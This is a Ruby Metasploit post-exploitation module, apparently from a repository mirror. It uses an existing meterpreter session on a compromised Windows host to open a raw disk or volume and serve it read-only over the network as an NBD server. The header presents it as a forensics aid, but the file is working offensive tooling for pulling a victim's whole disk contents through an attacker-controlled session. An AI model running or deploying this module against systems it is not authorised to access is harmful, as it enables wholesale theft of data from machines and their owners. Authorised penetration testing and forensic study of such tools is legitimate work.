Files
metasploit-gs/modules/post/windows/manage/nbd_server.rb
T
Michael Schierl 21f6127e29 Platform windows cleanup
Change all Platform 'windows' to 'win', as it internally is an alias
anyway and only causes unnecessary confusion to have two platform names
that mean the same.
2012-10-23 20:33:01 +02:00

104 lines
3.2 KiB
Ruby

# $Id$
#
# Maps remote disks and logical volumes to a local Network Block Device
# server. Allows for forensic tools to be executed on the remote disk
# directly.
#
# R. Wesley McGrew wesley@mcgrewsecurity.com
# http://mcgrewsecurity.com
# Mississippi State University National Forensics Training Center
# http://msu-nftc.org
class Metasploit3 < Msf::Post
def initialize(info={})
super( update_info( info,
'Name' => 'Windows Manage Local NBD Server for Remote Disks',
'Description' => %q{Maps remote disks and logical volumes to a local Network Block
Device server. Allows for forensic tools to be executed on the remote disk directly.},
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'Platform' => ['win'],
'SessionTypes' => ['meterpreter'],
'Author' => ['Wesley McGrew <wesley[at]mcgrewsecurity.com>']
))
register_options(
[
OptString.new('DEVICE',[true,'Device to map (use enum_drives for possible names)',nil]),
OptString.new('NBDIP',[false,'IP address for NBD server','0.0.0.0']),
OptInt.new('NBDPORT',[false,'TCP port for NBD server',10005]),
], self.class)
end
def run
ip_addr = datastore['NBDIP']
port = datastore['NBDPORT']
devname = datastore['DEVICE']
invalid_handle_value = 0xFFFFFFFF
invalid_set_file_pointer = 0xFFFFFFFF
fsctl_allow_extended_dasd_io = 0x00090083
ioctl_disk_get_drive_geometry_ex = 0x000700A0
r = client.railgun.kernel32.CreateFileA(devname, "GENERIC_READ",
0x3, nil, "OPEN_EXISTING", "FILE_ATTRIBUTE_READONLY", 0)
handle = r['return']
r = client.railgun.kernel32.DeviceIoControl(handle,fsctl_allow_extended_dasd_io,nil,0,0,0,4,nil)
ioctl = client.railgun.kernel32.DeviceIoControl(handle,ioctl_disk_get_drive_geometry_ex,
"",0,200,200,4,"")
if ioctl['GetLastError'] == 6
ioctl = client.railgun.kernel32.DeviceIoControl(handle,ioctl_disk_get_drive_geometry_ex,
"",0,200,200,4,"")
end
geometry = ioctl['lpOutBuffer']
disk_size = geometry[24,31].unpack('Q')[0]
socket = Rex::Socket::TcpServer.create({'LocalHost'=>ip_addr,'LocalPort'=>port})
print_status("Listening on #{ip_addr}:#{port}")
print_status("Serving #{devname} (#{disk_size} bytes)")
rsock = socket.accept()
print_status("Accepted a connection")
# Negotiation
rsock.put('NBDMAGIC')
rsock.put("\x00\x00\x42\x02\x81\x86\x12\x53")
rsock.put([disk_size].pack("Q").reverse)
rsock.put("\x00\x00\x00\x03") # Read-only
rsock.put("\x00"*124)
print_line("Sent negotiation")
while true
request = rsock.read(28)
magic, request, nbd_handle, offset_n, length = request.unpack("NNa8a8N")
if magic != 0x25609513
print_error("Wrong magic number")
break
end
if request == 2
break
end
if request == 1
print_error("Attempted write on a read-only nbd")
break
end
if request == 0
client.railgun.kernel32.SetFilePointer(handle,offset_n[4,7].unpack('N')[0],
offset_n[0,4].unpack('N')[0],0)
rsock.put("gDf\x98\x00\x00\x00\x00")
rsock.put(nbd_handle)
data = client.railgun.kernel32.ReadFile(handle,length,length,4,nil)['lpBuffer']
rsock.put(data)
end
end
print_status("Closing")
rsock.close()
socket.close()
client.railgun.kernel32.CloseHandle(handle)
end
end